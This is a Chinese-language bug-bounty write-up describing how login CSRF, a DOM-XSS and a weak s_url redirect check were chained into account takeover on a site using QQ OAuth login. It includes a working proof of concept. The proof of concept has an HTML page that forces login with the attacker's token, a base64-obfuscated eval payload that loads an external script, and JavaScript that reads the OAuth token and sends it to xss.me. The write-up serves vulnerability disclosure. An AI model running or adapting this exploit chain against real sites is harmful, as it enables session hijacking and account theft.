Login CSRF + DOM-XSS + unsafe URL redirect = ATO

在最近参与的一次对站点A的众测中,我发现A可以使用QQ账号进行登陆。在过去的几个月里,我发现了大量关于OAuth登陆劫持的漏洞,如果你有兴趣,可以参考:OAuth回调参数漏洞案例解析

尽管我相信目标A已经不存在OAuth登陆劫持漏洞(因为QQ已经在redirect_uri参数上做了强校验),但是我仍打算对它的登陆流程一探究竟。

下面,我以A.com代表目标A的域名来展示我是怎样发现一个账号劫持漏洞的。

打开A的QQ登陆链接后,我发现了一些奇妙的事。

如上图,redirect_uri并没有指向A.com,而是指向了B.com。将参数URL解码,

不难推测,这里涉及到2次跨域登陆:

  1. redirect_uri: qq.com => B.com
  2. s_url: B.com => A.com

在开头已经说过,QQ已经对redirect_uri参数做了强校验,要想劫持到B.com的登陆账号已经不太可能。所以,我的目标放在了s_url这个参数上。

简单分析一下登陆流程就能发现s_url是如何工作的。

(a) 首先,用户使用QQ账号登陆到B.com;

(b) 然后B.com发送如下请求,获取token,并引导用户携带token跳转到A.com;

(c) A.com验证token是合法的,则种下cookie。

至此,用户成功登陆到A.com。

从整个登陆流程来看,只要我们能想办法窃取到token,就能劫持用户的登陆账号。

unsafe URL redirect

我的目标是窃取到token,最直接的办法当然是修改参数s_url,让用户携带token跳转到恶意域名,从而泄露token。

一番测试后,我发现s_url的校验也很严格,即使在路径后面附加一些字符,生成的跳转链接中都不会携带token。

经过一些fuzz后,我发现我似乎能在最后一个字符后面附加一些符号。

我可以在s_url的结尾附加3种符号,而不影响token的生成,分别是:

%3f => ?
%20 => 空格
%23 => #

#让我眼前一亮,众所周知,URL中的#将被浏览器视作锚点,其后的数据不会发送到服务器。

当用户跳转到这个地址,自然会无法认证成功,并停留在Login页面。

此时token也将出现在URL中。

至此,我们已经在窃取token的道路上迈出了重要的一步。

DOM-XSS

现在,我们面临的问题是如何获取到URL中的token。

最容易想到的就是XSS啦,我们可以用XSS创建一个iframe,在iframe加载登陆链接,当跳转完成后,再获取iframe的location.href属性。

一番寻找后,我终于找到一处疑似存在DOM-XSS的函数,

renderFrame: function (url, param, path, hash, isOld) {
    var that = this;
    hash && (url += isOld ? "/" + hash : "#" + hash),
        param && param._hash && (url += param._hash),
        url += window.location.search,
        path = path.replace(/(\/?console\/?)/, ""),
        path = path.replace(/\/\*/, "");

    var $frame = $('<iframe src="' + url + '" frameborder=0 width="100%" height="99%"></iframe>'),
......

验证后发现确实存在,payload:

但是这个XSS必须用户登陆后才能触发,如果能找一处登陆CSRF,就能使得漏洞更通用了。

Login CSRF

其实在前面已经提到了这个漏洞了,

这个请求不会检查referer,携带未使用过的token请求这个链接就能登陆成功。所以,只要我们事先准备一个没使用过的token,让受害者请求这个链接就行了。

ATO

接下来理一下整个利用过程:

  1. 登陆我自己的账号,抓一个token
  2. 让受害者用我的token登陆
  3. 触发XSS
    1. 打开QQ的OAuth登陆界面
    2. 受害者使用QQ账号登陆
    3. 页面跳转到A.com/Login#token=111
    4. 获取location.href,窃取到token

在打开OAuth登陆界面这一步我原本打算使用iframe,但是测试后发现在iframe里无法无法跳转到A.com,因为B.com使用了如下代码来防止iframe加载,

if (top != self) {
    top.location.href = s_url;
} else {
    top.location.replace(s_url);
}

但我们可以使用window.open()开一个新窗口来绕过。

以下是我写的一个POC:

evil.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login CSRF</title>
</head>
<body>
<!--首先创建一个iframe用我的token登陆-->
<iframe src="https://A.com/Index/Login?token={My_token}"
        sandbox="allow-popups allow-scripts allow-same-origin" width="500px" height="500px"></iframe>
<script>
    // 登陆成功后,跳转到XSS地址
    function redirect2xss() {
        window.location.href = "https://A.com/xxx/%22/onload=%20eval(atob(%22d2l0aChkb2N1bWVudClib2R5LmFwcGVuZENoaWxkKGNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9J2h0dHBzOi8veHNzLm1lLzEuanMn%22))//";
    }

    setTimeout(redirect2xss, 6000);
</script>
</body>
</html>

1.js:

document.body.onload = function () {
    // 打开OAuth登陆界面
    myWindow = window.open('https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=111111&response_type=code&redirect_uri=https%3A%2F%2FB.com%2Flogin%2FqqAccessCallback%3Fs_url%3Dhttps%253A%252F%252FA.com%252FIndex%252FLogin%2523%252FLogin%26fwd_flag%3D7&state=aaa', '', 'width=600,height=600');
    setTimeout(function () {
        // 获取token
        data = myWindow.document.location.href;
        fetch("//xss.me/?data=" + escape(data));
    }, 9000);
};

源链接

Hacking more

...